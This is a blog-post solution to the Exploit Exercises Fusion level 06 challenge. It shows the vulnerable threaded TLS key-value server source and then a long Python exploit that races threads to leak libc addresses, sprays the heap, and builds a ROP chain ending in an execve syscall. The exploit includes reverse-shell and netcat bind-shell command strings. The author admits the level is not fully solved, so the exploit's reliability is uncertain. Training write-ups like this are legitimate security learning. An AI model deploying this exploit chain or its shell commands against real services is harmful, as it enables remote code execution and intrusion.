Exploit Exercise Binary Exploitation Fusion Level 06

Posted by Suraj Singh on October 09, 2018 · 56 mins read
Hello Crazy Hackers



Welcome Again To My Blog, readers, Today, I am going to share my solution for Exploit Exercise Fusion Level 06 Challenge. Before Continuing I Just Want to Give You a Advice. If you don't like Pain, Struggle, Sleepless Nights, Red Eyes Searching For Solution Than Quickly Delete Exploit Exercise Fusion ISO file because this series of challenge is damn hard. This Level Was Like A Hell For me. Complete Of Depression, Pain, Problems But Also Force You to Gathering More Knowledge and push your limits. Good Luck!

Source Code


 1#define THREADED
2#include "../common/common.c"
3
4// Taken some code from gnu tls documentation,
5// This example is a very simple echo server which supports X.509
6// authentication, using the RSA ciphersuites.
7// This file has the leading comment of... /* This example code is
8// placed in the public domain. */
9// so there :>
10
11#include <gcrypt.h>
12#include <gnutls/gnutls.h>
13
14#include <libHX/init.h>
15#include <libHX/defs.h>
16#include <libHX/map.h>
17#include <libHX/string.h>
18
19#define KEYFILE "/opt/fusion/ssl/key.pem"
20#define CERTFILE "/opt/fusion/ssl/cert.pem"
21#define CAFILE "/opt/fusion/ssl/ca.pem"
22#define CRLFILE "/opt/fusion/ssl/crl.pem"
23
24gnutls_certificate_credentials_t x509_cred;
25gnutls_priority_t priority_cache;
26
27static gnutls_session_t
28initialize_tls_session (void)
29{
30 gnutls_session_t session;
31
32 gnutls_init (&session, GNUTLS_SERVER);
33
34 gnutls_priority_set (session, priority_cache);
35
36 gnutls_credentials_set (session, GNUTLS_CRD_CERTIFICATE, x509_cred);
37
38 /*
39 *request client certificate if any.
40 */
41 gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST);
42
43 return session;
44}
45
46
47struct HXmap *dict;
48
49struct data {
50 void *data;
51 size_t length;
52};
53
54struct data *gather_data(gnutls_session_t session, char *key, size_t length)
55{
56 unsigned char buffer[length];
57 int offset, ret;
58 struct data *data;
59
60 for(offset = 0; offset < length; ) {
61 ret = gnutls_record_recv(session, buffer + offset, (length -
62 offset) > 65535 ? 65535 : (length - offset));
63 if(ret <= 0) return NULL;
64 offset += ret;
65 }
66
67 data = malloc(sizeof(struct data));
68 if(! data) return NULL;
69 data->data = HX_memdup(buffer, length);
70 if(!data->data) {
71 free(data);
72 return NULL;
73 }
74 data->length = length;
75
76 //printf("gather data: returning %08x, data->length = %d\n", data,
77 // data->length);
78 //fflush(stdout);
79
80 return data;
81}
82
83#define NOKEY "// No key was specified\n"
84#define NOTFOUND "// Key was not found\n"
85#define KEYFOUND "// Key exists\n"
86#define NOMEM "// Not enough memory to allocate\n"
87#define UPDATEOK "// Updated successfully\n"
88
89int update_data(gnutls_session_t session, char *key, size_t length)
90{
91 struct data *data;
92 size_t offset;
93 int ret;
94
95 data = HXmap_get(dict, key);
96 if(! data) {
97 gnutls_record_send(session, NOTFOUND, strlen(NOTFOUND));
98 return -1;
99 }
100
101 if(length > data->length) {
102 void *tmp;
103 tmp = realloc(data->data, length);
104 if(! tmp) {
105 gnutls_record_send(session, NOMEM, strlen(NOMEM));
106 return -1;
107 }
108 data->data = tmp;
109 }
110
111 for(offset = 0; offset < length; ) {
112 ret = gnutls_record_recv(session, data->data + offset,
113 (length - offset) > 65535 ? 65535 : (length - offset));
114 if(ret <= 0) return 0;
115 offset += ret;
116 }
117
118 gnutls_record_send(session, UPDATEOK, strlen(UPDATEOK));
119
120 data->length = length;
121 return 0;
122}
123
124int send_data(gnutls_session_t session, char *key, struct data *data)
125{
126 int offset, ret;
127 int to_send;
128
129 char *msg;
130
131 asprintf(&msg, "// Sending %d bytes\n", data->length);
132 gnutls_record_send(session, msg, strlen(msg));
133 free(msg);
134
135 for(offset = 0; offset < data->length; ) {
136 int tosend;
137 tosend = (data->length - offset) > 65535 ? 65535 :
138 (data->length - offset);
139 ret = gnutls_record_send(session, data->data + offset,
140 tosend);
141 if(ret <= 0) return -1;
142 offset += ret;
143 }
144 return 0;
145}
146
147void *free_data(void *ptr)
148{
149 struct data *data;
150 data = (struct data *)(ptr);
151
152 //printf("in free data, got %08x\n", (unsigned int)data);
153 if(data) {
154 if(data->data) {
155 free(data->data);
156 }
157 free(data);
158 }
159}
160
161void new_dict()
162{
163 struct HXmap_ops mops;
164 if(dict) HXmap_free(dict);
165
166 memset(&mops, 0, sizeof(mops));
167 mops.d_free = free_data;
168
169 dict = HXmap_init5(HXMAPT_HASH, HXMAP_SKEY | HXMAP_CKEY, &mops,
170 0, sizeof(struct data));
171}
172
173
174void *keyval_thread(void *arg)
175{
176 int fd = (int)arg;
177 int ret;
178 struct data *data;
179 int cont;
180
181 gnutls_session_t session;
182 session = initialize_tls_session ();
183
184 gnutls_transport_set_ptr (session, (gnutls_transport_ptr_t) fd);
185 ret = gnutls_handshake (session);
186
187 if (ret < 0) {
188 char *msg;
189
190 close (fd);
191 gnutls_deinit (session);
192
193 msg = NULL;
194 asprintf(&msg, "*** Handshake has failed (%s)\n\n",
195 gnutls_strerror(ret));
196 write(fd, msg, strlen(msg));
197 close(fd);
198 free(msg);
199 }
200
201#define BANNER "// Welcome to KeyValDaemon. Type 'h' for help information\n"
202 gnutls_record_send(session, BANNER, strlen(BANNER));
203
204 cont = 1;
205 while(cont) {
206 char cmdbuf[512], *p;
207 char *args[6], *msg;
208 int argcnt, i;
209
210 memset(cmdbuf, 0, sizeof(cmdbuf));
211 ret = gnutls_record_recv(session, cmdbuf, sizeof(cmdbuf));
212 if(ret <= 0) break;
213
214 p = strchr(cmdbuf, '\r');
215 if(p) *p = 0;
216 p = strchr(cmdbuf, '\n');
217 if(p) *p = 0;
218
219 memset(args, 0, sizeof(args));
220 argcnt = HX_split5(cmdbuf, " ", 6, args);
221
222#if 0
223 for(i = 0; i < argcnt; i++) {
224 asprintf(&msg, "args[%d] = \"%s\"\n", i, args[i]);
225 gnutls_record_send(session, msg, strlen(msg));
226 free(msg);
227 }
228#endif
229
230
231
232 switch(args[0][0]) {
233 case 'h':
234#define HELP \
235"// f <key> - find entry and see if it exists\n" \
236"// s <key> <bytes> - store an entry with key and <bytes> lenght of data\n" \
237"// g <key> - read data from key\n" \
238"// d <key> - delete key/data\n" \
239"// X - delete all data and restart\n"
240// XXX, loop over HXmap and display data?
241
242 gnutls_record_send(session, HELP, strlen(HELP));
243 break;
244 case 'd':
245 if(! args[1]) {
246 gnutls_record_send(session, NOKEY, strlen(NOKEY));
247 } else {
248 void *data;
249
250 data = HXmap_del(dict, args[1]);
251 if(data) {
252 gnutls_record_send(session, KEYFOUND,
253 strlen(KEYFOUND));
254 } else {
255 gnutls_record_send(session, NOTFOUND,
256 strlen(NOTFOUND));
257 }
258 }
259 break;
260 case 's': // set
261 data = gather_data(session, args[1], atoi(args[2]));
262 if(data != NULL) {
263#define NEWKEY "// New key added!\n"
264 printf("args[1] = %08x/%s, data = %08x\n",
265 args[1], args[1], data);
266 HXmap_add(dict, args[1], data);
267 gnutls_record_send(session, NEWKEY,
268 strlen(NEWKEY));
269 } else {
270#define ADDERROR "// Unable to add new entry, problem getting data\n"
271 gnutls_record_send(session, ADDERROR,
272 strlen(ADDERROR));
273 }
274 break;
275 case 'u': // update
276 update_data(session, args[1], atoi(args[2]));
277 break;
278 case 'f': // find
279 if(! args[1]) {
280 gnutls_record_send(session, NOKEY,
281 strlen(NOKEY));
282 } else {
283 if(HXmap_find(dict, args[1]) == NULL) {
284 gnutls_record_send(session,
285 NOTFOUND, strlen(NOTFOUND));
286 } else {
287 gnutls_record_send(session,
288 KEYFOUND, strlen(KEYFOUND));
289 }
290 }
291
292 break;
293
294 case 'g': // get
295 if(! args[1]) {
296 gnutls_record_send(session, NOKEY,
297 strlen(NOKEY));
298 } else {
299 if((data = HXmap_get(dict, args[1]))
300 == NULL) {
301 gnutls_record_send(session, NOTFOUND,
302 strlen(NOTFOUND));
303 } else {
304 send_data(session, args[1], data);
305 }
306 }
307 break;
308 case 'e':
309 cont = 0;
310 break;
311 case 'X':
312 new_dict();
313#define NEWDICT "// New dictionary installed\n"
314 gnutls_record_send(session, NEWDICT,
315 strlen(NEWDICT));
316 break;
317 default:
318#define UC "// Unknown Command, please see 'h' for help information\n"
319
320 gnutls_record_send(session, UC, strlen(UC));
321 break;
322 }
323 }
324
325
326#define GB "// Good bye!\n"
327 gnutls_record_send(session, GB, strlen(GB));
328 gnutls_bye(session, GNUTLS_SHUT_WR);
329
330 close(fd);
331 gnutls_deinit(session);
332
333 return NULL;
334}
335
336#define DH_BITS 512
337
338static gnutls_dh_params_t dh_params;
339
340static int generate_dh_params (void)
341{
342 /*
343 * Generate Diffie-Hellman parameters - for use with DHE
344 * kx algorithms. When short bit length is used, it might
345 * be wise to regenerate parameters.
346 *
347 */
348 gnutls_dh_params_init (&dh_params);
349 gnutls_dh_params_generate2 (dh_params, DH_BITS);
350
351 return 0;
352}
353
354GCRY_THREAD_OPTION_PTHREAD_IMPL;
355
356int main(int argc, char **argv)
357{
358 int fd, i;
359
360 HX_init();
361
362 gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
363 gnutls_global_init();
364
365 gnutls_certificate_allocate_credentials (&x509_cred);
366 gnutls_certificate_set_x509_trust_file (x509_cred, CAFILE,
367 GNUTLS_X509_FMT_PEM);
368
369 gnutls_certificate_set_x509_crl_file (x509_cred, CRLFILE,
370 GNUTLS_X509_FMT_PEM);
371
372 gnutls_certificate_set_x509_key_file (x509_cred, CERTFILE, KEYFILE,
373 GNUTLS_X509_FMT_PEM);
374
375 generate_dh_params ();
376
377 gnutls_priority_init (&priority_cache, "NORMAL", NULL);
378 gnutls_certificate_set_dh_params (x509_cred, dh_params);
379
380 new_dict();
381
382 signal(SIGPIPE, SIG_IGN);
383
384 background_process(NAME, UID, GID);
385 serve_forever_threaded(PORT, keyval_thread);
386}
387

Hint



Threaded stack overwrite fun :) Just another way to clutch at straws ;)

This level introduces the danger of inappropriate (or complete lack of) sharing/locking data across multiple connections/threads.

Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes

Exploit

#!/usr/bin/python
import socket
import struct
import ssl
import time
import telnetlib
import threading
import re
import sys
from struct import pack
from collections import Counter


v = ('127.0.0.1', 20006)


CMD = '/bin/sh > /dev/tcp/127.0.0.1/1337 0>&1 2>&1 ;'
CMD = 'touch /tmp/hackingworking'
#CMD = '/bin/nc.traditional -ltp 1337 -e//bin///sh '


# connection
def connect(v):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(v)
time.sleep(0.1)
s = ssl.wrap_socket(s,ssl_version=ssl.PROTOCOL_TLSv1)
#time.sleep(0.1)
print s.recv(1024)
return s



def writethroughpayload(libc, base, data):
data = re.findall('....', data)
gt = libc + 0x000e0097 # pop %ecx | pop %ebx | ret
gt2 = libc + 0x000238df # pop %eax | ret
gt3 = libc + 0x0006cc5a # mov %eax,(%ecx) | ret
p = ''
for n, i in enumerate(data):
print '[+] Number {} Data {}'.format(n*4, i)
p += pack("<I", gt) # pop %ecx | pop %ebx | ret
p += pack("<I", base+(n*4)) # @ .data + 4
p += pack("<I", 0x42424242) # padding
p += pack("<I", gt2) # pop %eax | ret
p += i
p += pack("<I", gt3) # mov %eax,(%ecx) | ret
p += pack("<I", libc + 0x000328e0) # xor %eax,%eax | ret
p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libc + 0x0006cc5a) # mov %eax,(%ecx) | ret
return p


# Open bind shell : port 1337
def openncshell(libcbase):
data = 0x176000 + 0x2000 +0x1000+20
data2 = data + 0x50

# Because Of Some Error. Here, I am print every single payload bytes
p = writethroughpayload(libcbase, libcbase+data, '/tmp/hackingworks ') # command
p += writethroughpayload(libcbase, libcbase+data2, '/bin/sh ') # name
#p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
#p += pack("<I", libcbase+data)
#p += pack("<I", libcbase + 0x0003cb20) # system()
#p += '\xcc'*4 #pack("<I", libcbase + 0x000329e0) # exit()
#p += pack("<I", libcbase + data)*3 # @ .data

# EBX = filename
p += pack('<I', libcbase +0x00018f4e) # pop ebx ; ret
p += pack('<I', libcbase +data2) #--> Filename

# ECX = Argv EDX = NULL
p += pack('<I', libcbase +0x2da2b) # pop ecx ; pop edx ; ret
p += pack('<I', libcbase +data) # argv
p += pack('<I', libcbase +data+20) # NULL

# EAX = 11 + kernel call done
p += pack('<I', libcbase +0x0002eb8f) # xor eax, eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
p += pack('<I', libcbase +0x00026722) # inc eax ; ret
#p += '\xcc'*4
p += pack('<I', libcbase +0x0002dd35) # int 0x80
print '[+] Want To Check Syscall. Set breakpoint here : ', hex(libcbase +0x0002dd35)

return p


def exploit(libc):
# Payload
# EIP = 60
# EDI = 52
# ESI = 48
# EBP = 56
# EBX = 44
payload = 'N'*28 # Paddings
payload += pack('I', libc+0x17600+0x3000+0x150)
payload += 'N'*12
payload += 'JJJJ' # EBX
payload += 'KKKK' # ESI
payload += 'LLLL' # EDI
payload += 'MMMM' # EBP
payload += pack("I", libc + 0x000e0097) # EIP = pop %ecx | pop %ebx | ret)
#payload += openncshell(libc) # EIP
# Got Control Over
# EAX = EAX -
# EDX = 64 Offset
# ESI = 64 Offset
# mov eax,DWORD PTR [esi+0x55c]
payload += struct.pack('I', libc-0x55c) #struct.pack('I', (libc + 0x0003cb20)-0x55c) # 64 System
payload += 'BBBB'
payload += openncshell(libc)


return payload

# heavy spray
def heavyspray(v):
v = connect(v)
for i in range(600):
v.send("s {} {}\n".format(i, 500))
v.send("{}\n".format('A'*500))

time.sleep(0.005)
v.recv(1024)
v.close()
return


#
def extractaddr(data):
data = data[::-1]
b7 = re.findall('\xb7...', data)
b8 = re.findall('\xb8...', data)

if len(b8)<len(b7):
b = [struct.unpack(">I", i)[0] for i in b7]
else:
b = [struct.unpack(">I", i)[0] for i in b8]
b = [int(((i >> 12)<< 12)) for i in b]
b.sort()
#print 'Complete : ', b
data = Counter(b)
print "[-] Most Occured Address : ", data.most_common(1)[0][0]
libc = int(data.most_common(1)[0][0]-0x179000)
print "[-] May be Our Libc Address is : ", hex(libc)
return libc



# MainEngine For Updating Data Regularly
class MainEngine(threading.Thread):
def __init__(self, v):
threading.Thread.__init__(self)
self.s = connect(v)
self.runcycle = True

def run(self):
print "[*] Main Engine Started."
buf1 = "B"*150
buf2 = "A"*150
size = len(buf1)
key = "test"
while self.runcycle:
self.s.send("s {} {}\n".format(key, size))
self.s.send("{}\n".format(buf1))
self.s.send('exit\n')
self.s.close()
print "[*] Main Engine Close."
return

# Back Engine For Reading Data Regularly
class BackEngine(threading.Thread):
def __init__(self, v, engine):
threading.Thread.__init__(self)
self.engine = engine
self.info = v
self.v = connect(v)

def run(self):
print "[*] Back Engine Start"
while True:
self.v.send('g test\n')
try:
chk = self.v.recv(1024)
except:
chk = ''
if chk:
if ('\xb6' in chk) or ('\xb7' in chk) or ('\xb8' in chk) or ('\xb9' in chk):
self.engine.runcycle = False
self.v.close()
print "[*] Back Engine Close"
libc = extractaddr(chk)
bof = exploit(libc)
raw_input('[-] Ready To Sent Exploit. Press Enter')
v = connect(self.info)
v.send("s exploit -2\n")
time.sleep(0.5)
v.send(bof)
raw_input("[+] Payload Sent. Check Netcat.")
self.v.close()
return
return


def main(v):
raw_input('Data Leak Start')
thread = MainEngine(v)
#time.sleep(1)
thread1 = BackEngine(v, thread)
time.sleep(0.1)
thread.start()
time.sleep(0.1)
thread1.start()
print '[+] Waiting For Response.'
thread1.join()
print '[-] Extracting Data From Response.'
return

if 'leak' in sys.argv:
main(v)

elif 'spray' in sys.argv:
raw_input('Heavy Spray Start')
heavyspray(v)
print "[*] Spray Complete."
else:
print "[*] Please Provide Usages Arguments : \n [1]. spray\n [2]. leak\n"

exit(0)


Again, Same Line As Previous Solution. To Understand This Post You need little reading, little research,  and many other things. If you can't understand above exploitation code then you victory will be meaning less.


And readers!! Honestly, I want to tell you all that I have Still Not Completely Cleared This Level. Yes! And I know, many of you are lot more smarter than me. So, Please Check This StackOverFlow Question related To This Level Click Here



Good Luck! Crazy hackers